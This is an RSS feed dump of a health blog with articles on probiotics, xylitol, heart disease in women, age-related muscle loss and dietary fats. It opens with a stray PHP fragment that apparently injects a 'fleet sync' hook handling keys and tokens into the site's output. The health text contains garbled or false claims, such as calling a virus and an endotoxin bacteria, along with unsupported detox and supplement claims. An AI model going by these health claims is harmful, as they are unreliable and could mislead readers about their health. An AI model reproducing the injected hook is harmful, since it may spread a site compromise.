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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); DeepTone https://deeptone.com Once A Week Workout Thu, 27 Aug 2015 17:46:32 +0000 en-US hourly 1 Curb Food Cravings with Probiotics https://deeptone.com/curb-your-food-cravings-with-probiotics/ Wed, 12 Aug 2015 19:04:48 +0000 http://www.deeptone.com/?p=17969 Your intestines play host to over 100 trillion bacteria, which is roughly equivalent to two and a half pounds. Pleasant thought, right? Well, these bacteria are an integral part of your immune system and can have a significant impact on your weight and overall health.

Benefits of Probiotics

Healthy bacteria, often referred to as probiotics can help regulate your weight and aid in destroying harmful, disease-causing bacteria that want to colonize and feed off your colon. In fact, probiotics have been proven to be beneficial to your body in a variety of other ways, such as: Absorb minerals, manufacture vitamins, and vanquish toxins

  • Decrease risk and severity of allergies
  • Boost your day-to-day mood and overall mental health
  • Diminish asthma
  • Subdue inflammation for better immune system efficiency

To ensure this level of activity in your body, a recommended diet consisting of whole, unprocessed foods, fermented and cultured foods, and quality probiotic supplements is essential. Various forms of probiotics can be purchased at almost any local grocery store, but top quality strains of probiotics, such as bacteroidetes, will likely only be found at health food stores. Bacteroidetes are a positive bacterial strain that are commonly found in plenitude among slimmer people, where as obese people are likely to have less bacteroidetes and an excess of firmicutes. Firmicutes bacteria have an adverse affect on your body and will turn calories from complex sugars into fat. When overweight individuals begin to lose weight, a balance of power in the bacterial community shifts from firmicutes to bacteroidetes. *Research found a staggering 20 percent of the weight lost in gastric bypass patients last year was due to a shift in those very same bacteria previously mentioned. This begs the question, how many of those procedures could have been avoided?

Take Control of the Bacteria you put in Your Body

That’s right, the old adage holds true – “YOU are what YOU eat.” Through the foods that you eat, you are in charge of the balance of your intestinal microflora (the bacteria found in your intestines). The good news is that it’s never too late to reverse the balance of your gut bacteria. In fact, changing your diet can make an immediate impact, as was recently studied; Science News reports: “A more recent study found that major diet shifts can change the mix of gut microbes noticeably in just a day. Omnivores switching to a diet of all animal products saw the biggest change, as some bacteria boomed and others declined. Microbes settled back to their previous profiles a day or two after subjects returned to their usual diets…” Meat consumption can have an enormous bearing on the balance of bacteria in your gut. A recent study also showed a comparison of an average American diet vs. that of an average Venezuelan. American diets consist of much more meat, dairy products, breads, pastas and other carbs than the Venezuelan diet, which consist of more corn, yucca, and the occasional slab of meat. According to Science News: “Americans, on the other hand, have a distinctive microbiome with about 25 percent less diversity than indigenous Venezuelans,” From this study, it’s no coincidence that the average American BMI (Body Mass Index) and obesity rate is higher than the average Venezuelan. The foods mentioned in the American diet contain more sugar, and are also more processed, sterilized and pasteurized. Both sugar and processed foods promote the growth of yeast and fungus, which can lead to a number of diseases. Symptoms from eating these sorts of foods can include the following:

  • Fatigue
  • Depression
  • Indigestion
  • Urinary tract infections
  • Nasal Congestion
  • Reoccurring Headaches

Curb Your Food Cravings

Further research suggests that your appetite may be directly correlated to your microflora. In essence, the foods you crave are simply messages being sent to your brain by the composition of bacteria in your gut. For example, if you are a person that enjoys a lot of sweet or salty foods, the bacterial community in your intestines will convince you that you need more of the same types of foods. Conversely, if your diet is rich in whole, unprocessed foods, you will receive the memo for more of the good stuff. Additional analysis shows that three certain harmful bacteria can form insulin resistance and weight gain by generating mild inflammation within your body. The scientific classifications of these three bacteria are as follows:

  • Endotoxin- (producing Enterobacter, or soft tissue infections or urinary tract infections (UTI’s))
  • The human adenovirus-36 (a cause of respiratory infections and pinkeye)
  • Staphylococcus aureus9 (an antibiotic-resistant strain of bacteria)

Sometimes what you can’t see or understand is enough to scare you away. Though will power is entirely another conversation, it’s reassuring to know that modest behavioral changes in the way you eat can trigger new and healthy habits and aid you in staving off weight gain, infection and disease.

Eat Fermented Foods

Accentuate the positive and eliminate the negative. While processed foods and foods high in sugar will act as more of a pesticide in your body, fermented foods act as a fertilizer and harvest healthy bacteria. Good examples of fermented foods include:

  • Olives
  • Sauerkraut and pickles
  • Tempeh
  • Kefir and other unpasteurized dairy products
  • Miso

Bonus alert: Fermented foods are incredible detox agents and can help relieve your body of harmful toxins, pesticides and metals.

Make it a Lifestyle

Create a healthy routine and pay attention to the things you buy at the grocery store. Eat fermented foods and buy organic when possible. As a general rule, if you stick to the outside horseshoe of the grocery store, that will help you avoid the processed, sugar-laden, and genetically engineered foods that are saturated with harmful, colon-eating bacteria. In addition to foods that can kill good bacteria, make sure you stay away from other common chemicals such as:

  • Antibacterial Soap
  • Pollution
  • Antibiotics (Always seek out grass-fed meat whenever possible)
  • Chlorinated Water (Although it has its merits – think of the thousands of potentially harmful bacteria in a public pool)

Good health starts with the choices you make. Again, remember that this means a diet rich in whole, unprocessed, unsweetened foods, supplemented with quality probiotics, and traditionally fermented and cultured foods. We eat to live and we live to eat, so maintain a good balance of gut bacteria to achieve the health and weight you desire and deserve for a long, fruitful life.

]]> Xlylitol, A Healthy Alternative to Sugar https://deeptone.com/xlylitol-a-healthy-alternative-to-sugar/ https://deeptone.com/xlylitol-a-healthy-alternative-to-sugar/#respond Thu, 02 Jul 2015 22:28:27 +0000 http://www.deeptone.com/?p=17934 A Healthy Alternative to Sugar

That substance is xylitol. Xylitol is used in more than 35 countries. It was discovered in 1891 by a German chemist and has been used as a food sweetener since the 1960s. Xylitol has recently gained acceptance as an alternative sweetener due to its role in fighting dental cavities.

Where Xylitol is Found

Xylitol occurs naturally in many fruits and vegetables and is even produced by the human body during normal metabolism. It is made from plants such as birch and other hardwood trees and fibrous vegetation.

Uses for Xylitol

It has the same sweetness and bulk as sucrose with one-third fewer calories. Xylitol is used in chewing gum, gumdrops, hard candy, throat lozenges, cough syrups, children’s chewable multivitamins, toothpastes, mouthwashes and other products. Consuming too much Xylitol can cause digestive upset.

Xylitol Defeats Germs

Numerous studies around the world have shown that xylitol works as a great tooth protector. Unlike antibiotics, which attack germs, xylitol does the invading germs one better.

The substance prevents germs from taking root in a person’s mouth and teeth. If germs can’t find a home, they can’t breed and cause problems. Research shows that xylitol prevents dental plaque bacteria from growing.

Oral Hygiene and Xylitol

In the past 35 years, several hundred studies have shown xylitol’s healthy characteristics. Studies in Eastern Europe, Scandinavia and Central America have demonstrated the sugar substance’s ability to promote good oral hygiene.

Fewer Cavities With Xylitol

One study in Estonia found that children given xylitol-enhanced gun or candy several times a day saw cavity production drop by nearly 60 percent. A study in Finland found similar results.

A study in Belize found that children who chewed gum packed with xylitol had a 27 percent less chance of developing cavities.

A Scandinavian study added further evidence to the benefits of xylitol. Researchers there determined that babies of moms who chewed xylitol gum during their pregnancies had a lower rate of cavity-causing bacteria in their tiny mouths.

]]> https://deeptone.com/xlylitol-a-healthy-alternative-to-sugar/feed/ 0 This Epidemic is Killing Women https://deeptone.com/this-epidemic-is-killing-women/ Wed, 01 Jul 2015 22:28:28 +0000 http://www.deeptone.com/?p=17937 Heart disease, the leading cause of death in America, generally hits men earlier in life, but the disease catches up with women as they age. Today, heart disease has become the leading cause of death for females as well as men.

It is time for all women to recognize they, too, are targets for heart disease.

Subtle Heart Attack Symptoms in Women When women suffer heart attacks, the disease tends to mask itself, or at least appear less obvious than when it strikes men.

When a man suffers an attack, the symptoms are clear and rather obvious. Men experience tightness or pressure in the chest. They experience a spreading of pain to the shoulders, neck and especially the left arm. Women, by contrast, undergo less obvious discomforts. When a heart attack strikes, women complain of:

  • Fatigue
  • Weakness
  • Dizziness
  • Shortness of breath
  • Discomfort between the shoulder blades
  • A racing heart beat

Many women fail to recognize these signs as something as serious as a heart attack. That makes them less likely to seek immediate assistance. It can take a much higher understanding of the problem to determine that a woman has undergone a heart attack, experts say.

Harder to Detect Heart Trouble in Women

Heart disease in women can affect the smaller blood vessels in the heart, not the larger ones, as is often the case with men. Physicians warn that these lesser blocks can go undetected during angiograms. These less obvious artery blocks can also be missed by treadmill tests that only monitor the EKG.

Even if a diagnosis is done correctly, some researchers point out that women do not get the proper care. Women tend to be less likely than men to receive medication and treatments.

Pay Attention to Symptoms

The bottom line is that women need to understand the very real risk of heart disease and stroke, especially as they age. If they suffer any heart problems, they must be sure no one overlooks the subtle symptoms. Finally, women need to make sure they receive as much care and attention as male patients. Of course it is best to combat potential heart problems long before they occur.

Lower Heart Disease Risk

The American Heart Association has identified several factors that increase the risk of heart attacks and strokes. Issues related to family history and age can’t be controlled, but lifestyles can. Behavior is often a contributing factor to heart problems regardless of one’s sex.

Smoking Raises Risk of Heart Attack

Smoking is among the worst things you can do for your body and heart. Smoking remains the single most preventable cause of death in the United States. It is a major cause of cardiovascular heart disease among women. Women who smoke have an increased risk for ischemic stroke and subarachnoid hemorrhage.

Constant exposure to secondhand smoke also increases the risk, even for nonsmokers. Women smokers who use birth control pills have a higher risk of heart attack and stroke than nonsmokers who use them.

]]> More Muscle, Less Body Fat at any Age https://deeptone.com/more-muscle-less-body-fat-and-better-health/ Mon, 29 Jun 2015 20:32:43 +0000 http://www.deeptone.com/?p=17917 While health researchers agree that daily walks and other aerobic activities are great for a person’s heart, many people, especially middle-aged and older adults, are cheating their bodies if they refuse to pump iron.

Sarcopenia Hits Without Weight Lifting

Our bodies need strong muscles to maintain good health. The more muscle mass we have, the less body fat we have. Those of us who refuse to consider weight resistance training as we age will likely face a troubling health condition called sarcopenia, the loss of muscle mass.

Various studies indicate that our bodies begin to lose muscle mass when we hit middle age. A study from Tuffs University found that our bodies lose about one percent of our muscle mass each year beginning at age 45.

Left untreated, people who live into their 80s will lose between 35 to 40 percent of their muscle mass.

Muscles Keep Us Healthy

Diminished muscles play a role in a host of health issues. It makes it harder to do simple things like walk up stairs or carry groceries. Worse yet, weak muscles make us less stable and more likely to stumble and break bones as we age.

Hip fractures are especially dangerous for aging adults.

Women are especially susceptible to sarcopenia because women have about one-third less muscle mass than men. Women also live longer than men, leading to greater muscle loss and an ever-weakening condition.

Even Athletes Can Lose Muscle Mass

Athletic types can fall victim to sarcopenia. Research shows that those who engaged in regular aerobic activities such as jogging and swimming still lose muscle mass as they age.

A Danish study found that men in their late 60s who had lifted weights regularly for years had muscle mass similar to that of non-athletes in their 20s. However, older runners and swimmers were far less muscular as they aged.

One study of 200 subjects whose ages ranged from 64 to 93 found sarcopenia in 26 percent of the male subjects and 22 percent of the women. Another report found that half of all men and women over the age of 80 have sarcopenia.

There is no need to write off the ailment as an unavoidable result of old age. Sarcopenia can be dealt with through regular weight training and the consumption of muscle-building supplements.

Weight Training Reverses Muscle Loss

Research at Tufts University proved that older people can build muscle mass through weight training. A study of men aged 60 to 72 found they doubled their leg strength in 12 weeks after undergoing high intensity workouts with leg weights.

90 year olds were able to walk without canes or walkers.

Another study at Tufts found similar benefits for nursing home residents. After just eight weeks of muscle work, frail women in their 90s were able to walk without canes or walkers.

All those interested in adding weight training to their exercise routines should consult qualified trainers before pumping iron.

Protein is Essential for Muscles

Muscle mass is not just about lifting weights. Protein is a vital component, especially as we age.

Beefing up on protein won’t build muscles alone, but those who shy away from protein as the years pass will likely lose muscle mass. Protein helps preserve muscle tissue because it contains high levels of leucine, an amino acid.

Women generally consume far less protein than necessary. That plays a role in muscle deterioration. A report from Tufts University found that one in three people over 60 eat less than the current recommendation of 0.36 grams of protein per pound of body weight, or 54 grams a day for a 150-pound person.

Supplements Help Build Muscles

Creatine is an important supplement for those trying to keep muscles in shape. The supplement is sold at health food stores. It is basically gasoline for muscles. Studies have shown that creatine prevents muscle loss in elderly adults and makes exercise easier.

One study found that older men who took creatine saw a greater improvement in leg strength and exercise endurance during a three-month experiment.

Amino Acids Help Avoid Sarcopenia

Carnosine, an amino acid compound, has also shown positive results for maintaining muscle mass through the years. Researh  shows that  carnosine levels in skeletal muscles decline with age.

One study found that carnosine levels fall by 63 percent by the time we reach the age of 70.

Glutamine is another important amino acid to consider when seeking ways to keep muscles fit through time.

Glutamine is found in high protein foods such as eggs, fish, meat, beans, nuts and seafood. The amino acid is known to help build and maintain muscles.

Arginine is an amino acid responsible for stimulating human growth hormones, which are needed to build muscle. Garbanzo beans and beef are great sources of arginine.

Muscles Need Calories

If you want to build muscle, you will need a surplus of calories. Without enough calories and the right kind of calories (lean protein, complex carbohydrates and healthy fats), you will never grow muscles.

]]> Lose That Pot Belly, Eating A Certain Fat https://deeptone.com/lose-that-pot-belly-eating-a-certain-fat/ Mon, 16 Mar 2015 22:07:50 +0000 http://www.deeptone.com/?p=1 fats

Fats That Are Good For You

Don’t buy into the anti-fat hype. The truth is, some fats are very good for you. Unfortunately, too many of us are hooked on bad fats, like those found in vegetable oils, snack foods or meats produced from corn-fed critters.

All fats are not evil. Those rich in omega-3 foods like fish, eggs and salmon help the body. Conjugated linoleic acid is a healthy fatty acid. It is found in free-range beef, lamb and turkey and milk from free-range animals. It can also be obtained as a supplement. Research shows that using 3,500 milligrams a day helps reduce abdominal fat. Increased CLA also helps with weight loss.

Research shows that CLA helps muscle development, lowers cholesterol and benefits the immune system. European studies have shown that CLA helped burn fat in overweight men and also helped maintain lean muscle tissue. Yet another study indicated that CLA helped obese people reduce the fat in their bodies by 20 percent over a three-month span. A report from the Journal of the American College of Nutrition found that postmenopausal women who consumed more CLA had higher bone mineral densities in parts of their bodies.

Balance Your Diet With Omega-3s

What’s a person to do if they want to lose weight? As with all things, balance is the key. One must navigate the grocery store aisles skillfully. Seek out foods loaded with health-giving fats like salmon, sardines and trout (look for wild fish as opposed to farm-grown).

Many health experts believe we are fatter today than in past generations because we pack on the omega- 6 fats and consume fewer omega-3 fats. Our ancestors were lean because they had a more balanced diet between omega-3s and omega-6s. Today the ratio is 25 to 1 in favor of omega-6 fatty acids. No wonder Americans are among the fattest folks on the planet. However, there are plenty of ways to bring this accounting back into proper order.

Flaxseed and flax oil are loaded with omega-3 fatty acids. Consumption of these products can increase one’s metabolic rate and burn fat. They also lead to increased energy and lower blood pressure levels. One should take between one and two tablespoons of flax oil daily for good health. Remember to keep the oil refrigerated at all times, otherwise it will become rancid.

Green Tea and Weight Loss

Green tea can also help the body burn fat. One Swiss study showed a connection between green tea intake and weight loss. Other experts contend green tea can fight cancer. Research shows that green tea has helped cut back on skin cancer and slowed the growth of tumors in the colon.

Nuts Contain Good Fat

Nuts, especially raw walnuts, pecans and almonds, are also a great source of good fat. Just a few ounces ofnuts a day can cut down on low-density lipoprotein (bad cholesterol levels). A study from Britain showed that women who ate just five ounces of nuts a day were far less likely to suffer heart attacks.

Thyroid Issues Can Prevent Weight Loss Thyroid troubles can also play a role in unwanted weight gain. If all else fails and you still can’t drop any weight, it might be time to check out your thyroid. Hypothyroidism, when the body can’t produce enough hormones to maintain proper metabolism, can lead to weight gain.

Patients diagnosed with subclinical thyroid dysfunction had a higher risk of heart disease. In a recent issue of the Archives of Internal Medicine, researchers looked at the thyroid-stimulating hormone and free T4 levels of more than 2,100 patients. They determined that patients with subclinical hypothyroidism had a much higher rate of heart disease than those with normal thyroid levels.

Finally, there’s a soothing way to increase your metabolism and relax. Health experts point out that saunas can raise your heart rate and help burn calories. Of course, always check with your personal physician before sweating it out in the dry heat.

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